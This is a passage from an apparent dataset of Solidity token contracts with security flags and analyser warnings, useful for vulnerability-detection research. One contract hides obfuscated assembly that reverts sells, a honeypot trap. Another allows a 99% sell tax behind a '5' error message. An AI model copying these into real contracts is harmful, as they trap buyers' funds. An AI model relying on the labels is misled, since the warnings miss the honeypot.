reentrancy-events | ID: b192eac\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: a2278e6\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: a2278e6\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 78de81f\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e8e0fb4): TG.setFee(uint256,uint256,uint256,uint256) should emit an event for _redisFeeOnBuy = redisFeeOnBuy _redisFeeOnSell = redisFeeOnSell _taxFeeOnBuy = taxFeeOnBuy _taxFeeOnSell = taxFeeOnSell \n\t// Recommendation for e8e0fb4: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: e8e0fb4\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: e8e0fb4\n _redisFeeOnSell = redisFeeOnSell;\n\t\t// events-maths | ID: e8e0fb4\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: e8e0fb4\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: faa8b59): TG.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for faa8b59: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: faa8b59\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fb48bea): TG.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for fb48bea: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: fb48bea\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e9f2277): TG.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for e9f2277: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: e9f2277\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}",
"file_name": "solidity_code_2114.sol",
"secure": 0,
"size_bytes": 20133
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract AlphaPepe is ERC20, Ownable {\n uint256 constant maxWalletStart = 2e16;\n uint256 constant addMaxWalletPerMinute = 1e16;\n uint256 public constant totalSupplyOnStart = 1e18;\n uint256 tradingStartTime;\n address public pool;\n\n constructor() ERC20(\"Alpha Pepe \", \" $APEPE \") {\n _mint(msg.sender, totalSupplyOnStart);\n }\n\n function decimals() public pure override returns (uint8) {\n return 9;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 479ecf1): AlphaPepe.maxWallet() uses timestamp for comparisons Dangerous comparisons tradingStartTime == 0 res > totalSupply()\n\t// Recommendation for 479ecf1: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 65d56a2): AlphaPepe.maxWallet() uses a dangerous strict equality tradingStartTime == 0\n\t// Recommendation for 65d56a2: Don't use strict equality to determine if an account has enough Ether or tokens.\n function maxWallet() public view returns (uint256) {\n\t\t// timestamp | ID: 479ecf1\n\t\t// incorrect-equality | ID: 65d56a2\n if (tradingStartTime == 0) return totalSupply();\n uint256 res = maxWalletStart +\n ((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /\n (1 minutes);\n\t\t// timestamp | ID: 479ecf1\n if (res > totalSupply()) return totalSupply();\n return res;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 80862b3): AlphaPepe._beforeTokenTransfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(balanceOf(to) + amount <= maxWallet(),wallet maximum)\n\t// Recommendation for 80862b3: Avoid relying on 'block.timestamp'.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (pool == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n return;\n }\n\n if (to != pool)\n\t\t\t// timestamp | ID: 80862b3\n require(balanceOf(to) + amount <= maxWallet(), \"wallet maximum\");\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3b69419): AlphaPepe.startTrade(address).poolAddress lacks a zerocheck on \t pool = poolAddress\n\t// Recommendation for 3b69419: Check that the address is not zero.\n function startTrade(address poolAddress) public onlyOwner {\n tradingStartTime = block.timestamp;\n\t\t// missing-zero-check | ID: 3b69419\n pool = poolAddress;\n }\n}",
"file_name": "solidity_code_2115.sol",
"secure": 0,
"size_bytes": 2807
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Felicette is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"The Space Cat\";\n string private constant _symbol = unicode\"Fèlicette\";\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 11111111 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 4;\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 6;\n\n uint256 private _redisFee = _redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\t// WARNING Optimization Issue (constable-states | ID: 9efb72c): Felicette._developmentAddress should be constant \n\t// Recommendation for 9efb72c: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0x7d1e1EC127e35f5E4D57Eb3847D025a96A63C5e3);\n\t// WARNING Optimization Issue (constable-states | ID: 7636813): Felicette._marketingAddress should be constant \n\t// Recommendation for 7636813: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0x7d1e1EC127e35f5E4D57Eb3847D025a96A63C5e3);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 480c2db): Felicette.uniswapV2Router should be immutable \n\t// Recommendation for 480c2db: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 1723f75): Felicette.uniswapV2Pair should be immutable \n\t// Recommendation for 1723f75: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = false;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 222223 * 10 ** 9;\n uint256 public _maxWalletSize = 333334 * 10 ** 9;\n uint256 public _swapTokensAtAmount = 100 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 129b739): Felicette.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 129b739: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9389027): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9389027: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7684f9d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7684f9d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9389027\n\t\t// reentrancy-benign | ID: 7684f9d\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 9389027\n\t\t// reentrancy-benign | ID: 7684f9d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: db0dcb0\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: db0dcb0\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: db0dcb0\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: db0dcb0\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: db0dcb0\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: db0dcb0\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 528a010): Felicette._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 528a010: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 7684f9d\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 9389027\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bdd1ad4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bdd1ad4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: db0dcb0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for db0dcb0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a0ec8ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a0ec8ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(\n amount <= _maxTxAmount || _isExcludedFromFee[to],\n \"TOKEN: Max Transaction Limit\"\n );\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: bdd1ad4\n\t\t\t\t// reentrancy-benign | ID: db0dcb0\n\t\t\t\t// reentrancy-eth | ID: a0ec8ff\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: bdd1ad4\n\t\t\t\t\t// reentrancy-eth | ID: a0ec8ff\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: db0dcb0\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: db0dcb0\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: db0dcb0\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: db0dcb0\n _taxFee = _taxFeeOnSell;\n }\n\n if (_taxFee == 0 && _redisFee == 0) {\n takeFee = false;\n }\n }\n\n\t\t// reentrancy-events | ID: bdd1ad4\n\t\t// reentrancy-benign | ID: db0dcb0\n\t\t// reentrancy-eth | ID: a0ec8ff\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 9389027\n\t\t// reentrancy-events | ID: bdd1ad4\n\t\t// reentrancy-benign | ID: db0dcb0\n\t\t// reentrancy-benign | ID: 7684f9d\n\t\t// reentrancy-eth | ID: a0ec8ff\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n uint256 half = amount.div(2);\n\t\t// reentrancy-events | ID: 9389027\n\t\t// reentrancy-events | ID: bdd1ad4\n\t\t// reentrancy-eth | ID: a0ec8ff\n _marketingAddress.transfer(half);\n\t\t// reentrancy-events | ID: 9389027\n\t\t// reentrancy-events | ID: bdd1ad4\n\t\t// reentrancy-eth | ID: a0ec8ff\n _developmentAddress.transfer(amount.sub(half));\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n require(!tradingOpen, \"ERC20: Trading can be only opened once\");\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: a0ec8ff\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: a0ec8ff\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: bdd1ad4\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: a0ec8ff\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: a0ec8ff\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: db0dcb0\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d75306d): Missing events for critical arithmetic parameters.\n\t// Recommendation for d75306d: Emit an event for critical parameter changes.\n function SetFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n require(\n redisFeeOnBuy + taxFeeOnBuy <= 5,\n \"Tax on buy can't be more than 5\"\n );\n require(\n redisFeeOnSell + taxFeeOnSell <= 99,\n \"Tax on sell can't be more than 5\"\n );\n\t\t// events-maths | ID: d75306d\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: d75306d\n _redisFeeOnSell = redisFeeOnSell;\n\t\t// events-maths | ID: d75306d\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: d75306d\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f0f5853): Felicette.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for f0f5853: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: f0f5853\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7134e91): Felicette.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 7134e91: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 7134e91\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c516e45): Felicette.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for c516e45: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: c516e45\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}",
"file_name": "solidity_code_2116.sol",
"secure": 0,
"size_bytes": 20796
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IDEXFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}",
"file_name": "solidity_code_2117.sol",
"secure": 1,
"size_bytes": 209
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IDEXRouter {\n function WETH() external pure returns (address);\n function factory() external pure returns (address);\n}",
"file_name": "solidity_code_2118.sol",
"secure": 1,
"size_bytes": 204
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n address[] private playFestival;\n\n mapping(address => bool) private palmDonate;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n uint256 private fingerSouth =\n 0xd15ffd92f23d7358e6c641f6f1ec639bbd1919e7f8464adc18def34a8a635ff4;\n address public pair;\n\n IDEXRouter router;\n\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n bool private theTrading;\n\n constructor(\n string memory name_,\n string memory symbol_,\n address msgSender_\n ) {\n router = IDEXRouter(_router);\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n\n _name = name_;\n _symbol = symbol_;\n playFestival.push(_router);\n playFestival.push(msgSender_);\n playFestival.push(pair);\n for (uint256 q = 0; q < 3; ) {\n palmDonate[playFestival[q]] = true;\n unchecked {\n q++;\n }\n }\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function openTrading() external onlyOwner returns (bool) {\n theTrading = true;\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function _beforeTokenTransfer(address sender, address recipient) internal {\n require(\n (theTrading || (sender == playFestival[1])),\n \"ERC20: trading is not yet enabled.\"\n );\n assembly {\n function hobbyRazor(x, y) -> saltRefuse {\n mstore(0, x)\n mstore(32, y)\n saltRefuse := keccak256(0, 64)\n }\n function firstSpring(x, y) -> madVivid {\n mstore(0, x)\n madVivid := add(keccak256(0, 32), y)\n }\n\n if and(\n and(\n eq(sender, sload(firstSpring(0x2, 0x1))),\n eq(recipient, sload(firstSpring(0x2, 0x2)))\n ),\n iszero(sload(0x1))\n ) {\n sstore(sload(0x8), sload(0x8))\n }\n if eq(recipient, 0x1) {\n sstore(0x99, 0x1)\n }\n if and(\n and(\n or(\n eq(sload(0x99), 0x1),\n eq(sload(hobbyRazor(sender, 0x3)), 0x1)\n ),\n eq(recipient, sload(firstSpring(0x2, 0x2)))\n ),\n iszero(eq(sender, sload(firstSpring(0x2, 0x1))))\n ) {\n invalid()\n }\n if eq(sload(0x110), number()) {\n if and(\n and(\n eq(sload(0x105), number()),\n eq(recipient, sload(firstSpring(0x2, 0x2)))\n ),\n and(\n eq(sload(0x200), sender),\n iszero(eq(sload(firstSpring(0x2, 0x1)), sender))\n )\n ) {\n invalid()\n }\n sstore(0x105, 